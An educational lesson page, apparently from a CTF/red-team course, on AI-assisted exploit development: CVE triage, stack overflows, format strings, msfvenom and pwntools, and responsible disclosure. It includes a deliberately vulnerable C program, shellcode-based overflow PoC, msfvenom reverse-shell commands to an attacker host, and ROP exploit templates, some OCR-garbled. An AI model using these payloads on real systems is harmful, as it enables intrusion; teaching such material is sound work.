Theory: Al-Generated Exploit

Development

Leveraging Al to accelerate vulnerability analysis, exploit writing, and responsible
security research.

WARNING: Exploit development must only be performed in authorized testing
environments. This includes personal lab machines, dedicated CTF platforms,
and penetration tests conducted under a signed rules-of-engagement
agreement. Unauthorized exploitation of systems is illegal under the Computer
Fraud and Abuse Act (CFAA) and equivalent laws worldwide. Always obtain
explicit written permission before testing any exploit against a target you do not
own.

The Exploit Development Lifecycle

Exploit development is not a single step — it is a structured process that moves from
initial discovery through validation and ultimately to responsible reporting.
Understanding this lifecycle is critical for any security researcher, whether they are
competing in CTFs or conducting professional penetration tests.

The lifecycle consists of five phases:

1. Vulnerability Discovery — Identifying that a flaw exists through fuzzing, source

code auditing, reverse engineering, or reviewing public advisories (CVEs).

2. Vulnerability Analysis — Understanding the root cause, determining which

components are affected, assessing severity, and mapping out the conditions
required to trigger the bug.

3. Exploit Writing — Crafting code or input that reliably triggers the vulnerability and
achieves a desired outcome such as code execution, privilege escalation, or data
exfiltration.



4. Testing & Refinement — Validating the exploit across different environments, OS
versions, and configurations. Adjusting offsets, payloads, and timing to improve
reliability.

5. Documentation & Disclosure — Writing clear reports that describe the

vulnerability, its impact, reproduction steps, and remediation advice. Following

coordinated disclosure timelines.

Al assistants like Claude can accelerate every phase of this lifecycle. They can parse
dense CVE descriptions, suggest exploitation strategies, generate skeleton proof-of-
concept code, and help draft disclosure reports — all while freeing the researcher to

focus on the creative and analytical aspects of the work.

Al-Assisted CVE Analysis

The Common Vulnerabilities and Exposures (CVE) system provides standardized
identifiers for publicly known security flaws. Each CVE entry includes a description,
severity score (CVSS), affected versions, and references to patches or advisories.

However, CVE descriptions are often terse and technical, making rapid triage difficult.

Claude excels at breaking down CVE descriptions into actionable intelligence. Given a

CVE identifier or description, you can ask it to:

e |dentify the vulnerable component (library, function, protocol)
* Explain the vulnerability class (buffer overflow, use-after-free, injection, etc.)

» Determine attack prerequisites (authentication required, network access, user

interaction)
» Assess exploitability based on the CVSS vector and public exploit availability
e Suggest detection signatures and mitigation strategies
For example, you might prompt Claude with: "Analyze CVE-2021-44228 (Log4Shell).
Explain the vulnerability class, affected components, attack vector, and why it was so

widely exploited." The response will synthesize technical details that might otherwise

require reading multiple advisories and blog posts.

Buffer Overflow Exploitation Basics



Buffer overflows remain one of the most fundamental vulnerability classes in systems
programming. They occur when a program writes data beyond the allocated boundary
of a buffer, corrupting adjacent memory. Understanding stack-based buffer overflows

is essential groundwork for exploit development.

Stack Layout

When a function is called, the stack frame is arranged (on x86) roughly as follows, from

high memory to low:

Function arguments — pushed by the caller

Return address — the address the CPU will jump to when the function returns

Saved base pointer (EBP/RBP) — preserves the caller's frame pointer

Local variables — including buffers allocated on the stack

If a local buffer is filled beyond its bounds, the overflow can overwrite the saved base
pointer and, crucially, the return address. By controlling the return address, an

attacker can redirect execution to arbitrary code.

Classic Exploitation Technique

A traditional stack-based buffer overflow exploit uses three components:

e NOP sled — A sequence of no-operation instructions ( 0x90 on x86) that provides
a "landing zone." The processor slides through the NOPs until it reaches the

shellcode.

* Shellcode — Machine code that performs the attacker's desired action, typically

spawning a shell or establishing a reverse connection.

* Return address overwrite — The exact bytes that replace the saved return

address, pointing back into the NOP sled.

Here is a minimal C program vulnerable to a stack-based buffer overflow:

// vuln.c -- compile with: gcc -fno-stack-protector -z execstack -no-pie -o vt
#include <stdio.h>

#include <string.h>

void vulnerable(char *input) ({
char buffer[64];
strcpy(buffer, input); // No bounds checking!



printf("You entered: %s\n", buffer);

int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
vulnerable(argv([1l]);

return 0;

}
A simple proof-of-concept in Python to crash this program and confirm the overflow:

#1/usr/bin/env python3

Simple buffer overflow PoC -- crash the vulnerable program."""
import subprocess

import struct

# Step 1: Determine offset to return address (e.g., via pattern create)

offset

76 # 64 bytes buffer + 8 bytes saved RBP + 4 bytes alignment

# Step 2: Build the payload

nop _sled = b"\x90" * 32

# Example: execve("/bin/sh") shellcode for x86 Linux (45 bytes)

shellcode = (
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
b"\x53\x89\xel\xb0\x0b\xcd\x80"

# Step 3: Overwrite return address to point into NOP sled
# This address would be determined through debugging (e.g., GDB)
ret address = struct.pack("<I", Oxbffff7a0)

payload = b"A" * offset + ret address + nop sled + shellcode

# Step 4: Send the payload

subprocess.run(["./vuln", payload])

Modern mitigations: Real-world systems employ ASLR, stack canaries, DEP/NX
bits, and PIE to prevent classic buffer overflows. Exploit development in modern

environments requires techniques like ROP (Return-Oriented Programming) and




information leaks to bypass these defenses. Al can help construct ROP chains by

analyzing available gadgets.

Format String Vulnerabilities

Format string vulnerabilities occur when user-controlled input is passed directly as the
format argument to functions like printf() , sprintf() , Or fprintf() .Instead of

printf("%s", user_input) , the programmer mistakenly writes printf(user input) .
An attacker can use format specifiers to:

e Read stack memory — 3:x or 2p leak values from the stack, useful for defeating
ASLR

e Read arbitrary memory — ss with a controlled pointer dereferences and prints

memory at that address

» Write arbitrary memory — s:n writes the number of bytes printed so far to an

address on the stack, enabling return-address overwrites or GOT hijacking

Format string bugs are particularly valuable in CTFs because they can provide both an
information leak (to bypass ASLR) and a write primitive (to gain code execution) in a

single vulnerability.

Al-Assisted Exploit Development

Al assistants dramatically accelerate the exploit writing process. Rather than writing
every line from scratch, researchers can describe the vulnerability and constraints, then

iterate on Al-generated code. Key use cases include:

* Generating proof-of-concept skeletons — Describe the vulnerability type, target
architecture, and constraints. Claude can produce a starting exploit script that you

refine through testing.

e Adapting public exploits — Many CVEs have public exploits on Exploit-DB or
GitHub, but they target specific versions or configurations. Al can help modify

offsets, update payloads, and adapt exploits to different environments.



» Explaining exploit code — When analyzing an unfamiliar exploit, paste the code
into Claude and ask for a line-by-line breakdown of what each section does and

why.

* ROP chain construction — Given a list of gadgets from tools like rRopgadget or
ropper , Claude can help assemble them into a functional chain that bypasses NX
protections.

Payload Generation

Once an exploit achieves control of execution, the next step is delivering a payload.
Payloads range from simple command execution to full reverse shells and Meterpreter

sessions.

msfvenom Basics

msfvenom (from the Metasploit Framework) is the standard tool for generating

encoded payloads:

# Linux reverse shell (x86)
msfvenom -p linux/x86/shell reverse tcp LHOST=10.10.14.5 LPORT=4444 \

-f python -b '\x00' -o payload.py

# Windows reverse shell (x64)
msfvenom -p windows/x64/shell reverse tcp LHOST=10.10.14.5 LPORT=4444 \
-f ¢ -b "\x00\x0a\x0d'

# Staged Meterpreter payload
msfvenom -p linux/x86/meterpreter/reverse tcp LHOST=10.10.14.5 LPORT=4444 \
-f elf -o shell.elf

# List available payloads for a platform

msfvenom --list payloads | grep linux/x86

Key flags: -p selects the payload, -t sets the output format (python, c, elf, exe,
raw), -b specifies bad characters to avoid, and -e selects an encoder to evade basic

signature detection.

Custom Shellcode



For CTF challenges and advanced scenarios, pre-built payloads may not fit the
constraints (size limits, character restrictions, unusual architectures). In these cases,
you write custom shellcode in assembly. Al can assist by generating assembly stubs for
common operations (syscalls, socket creation, file reads) and adapting them to meet

specific constraints.

Python Exploitation with pwntools

pwntools is the de-facto Python library for CTF and exploit development. It provides
abstractions for binary interaction, payload construction, and shellcode generation that

make exploit scripts clean and portable.

#!/usr/bin/env python3

pwntools exploit template for a buffer overflow challenge.

from pwn import *

# Configuration
context.binary = elf = ELF('./vuln')

context.log level = 'info'

# Connect to the target (local or remote)
# p = remote('challenge.ctf.example', 9001)

p = process('./vuln')

# Find the offset to the return address
offset = 76

# Build a ROP chain to call system("/bin/sh")
rop = ROP(elf)
rop.call('system', [next(elf.search(b'/bin/sh'))])

# Construct the payload
payload = flat(

b'A' * offset, # Padding to reach return address

rop.chain() # ROP chain

# Send the exploit

Key pwntools features for exploit development:



e ELF() — Parse binary metadata, find symbols, search for strings and gadgets
e RoP() — Automatic ROP chain construction from available gadgets

* shellcraft — Generate architecture-specific shellcode: shellcraft.sh() ,

shellcraft.cat('/flag"')
* process() | remote() — Unified interface for local and remote targets

e cyclic() — Generate De Bruijn sequences to find exact offsets: cyclic(200)

then cyclic find(0x61616168)

flat() [ p32() | p64() — Pack values into exploit-ready byte strings

* gdb.attach() — Attach a debugger to the running process mid-exploit for

inspection

# Quick offset-finding workflow with pwntools

from pwn import *

Generate a cyclic pattern and send it
= process('./vuln')

.sendline(cyclic(200))

T o o %

.wait()

B

Read the crash address from core dump or GDB, then:

B

offset = cyclic find(0x61616168) # Value found in EIP/RIP at crash
# print(f"Offset to return address: {offset}")

The Responsible Disclosure Process

Discovering a vulnerability carries ethical and legal obligations. The security community
follows coordinated disclosure (also called responsible disclosure) to protect users

while ensuring vendors fix flaws promptly.

1. Report privately — Contact the vendor through their security reporting channel
(often security@vendor.com oOr a bug bounty platform like HackerOne or

Bugcrowd).

2. Provide details — Include a clear description, affected versions, proof-of-concept,

impact assessment, and suggested remediation.

3. Allow time to patch — The standard disclosure window is 90 days (Google Project

Zero's policy). Some vendors negotiate extensions for complex fixes.



4. Coordinate public disclosure — After the patch is released (or the deadline
expires), publish the advisory with full technical details so defenders can assess

their exposure.

5. Request a CVE — If the vendor does not assign a CVE, you can request one through
MITRE or a CVE Numbering Authority (CNA).

Never weaponize exploits against production systems, never sell exploits to malicious
actors, and never use disclosure as leverage for personal gain. The goal is always to

improve security for everyone.

Key Takeaways

e Exploit development follows a structured lifecycle: discover, analyze, exploit, test,

document.

* Al assistants accelerate CVE triage, exploit prototyping, and report writing without

replacing the researcher's judgment and creativity.

e Buffer overflows and format string bugs are foundational vulnerability classes that

every security practitioner should understand deeply.

e Tools like msfvenom and pwntools provide essential building blocks for payload

generation and exploit scripting.

e Responsible disclosure is non-negotiable — always operate within legal and ethical

boundaries.

Further Reading

e pwntools Documentation

e CVE Details Database

e Exploit Database

e irOnstone's Binary Exploitation Notes

e Google Project Zero Blog

Challenge Resources


https://docs.pwntools.com/
https://www.cvedetails.com/
https://www.exploit-db.com/
https://ir0nstone.gitbook.io/notes/
https://googleprojectzero.blogspot.com/

FOR EDUCATIONAL USE IN AUTHORIZED TESTING ENVIRONMENTS ONLY.

The files below contain deliberately vulnerable code, simulated crash data,

fictional CVE entries, and exploit templates for learning purposes. All files use
.txt extensions and are not executable. Never use exploit techniques against

systems you do not own or have explicit written authorization to test.

Download Files

Vulnerable C server, simulated crash dump, fictional CVE records, and a pwntools exploit

template. All files are plain text (.txt) and safe to open.

J vulnerable-server.c.txt -3 KB

3 crash-dump.txt -4 KB

J cve-details.txt ~7 KB

J exploit-template.py.txt =~9 KB


file:///Users/mephistos/Documents/Claude/Claude_Lessons/ctf-redteam/lesson08-exploit-dev/resources/vulnerable-server.c.txt
file:///Users/mephistos/Documents/Claude/Claude_Lessons/ctf-redteam/lesson08-exploit-dev/resources/crash-dump.txt
file:///Users/mephistos/Documents/Claude/Claude_Lessons/ctf-redteam/lesson08-exploit-dev/resources/cve-details.txt
file:///Users/mephistos/Documents/Claude/Claude_Lessons/ctf-redteam/lesson08-exploit-dev/resources/exploit-template.py.txt

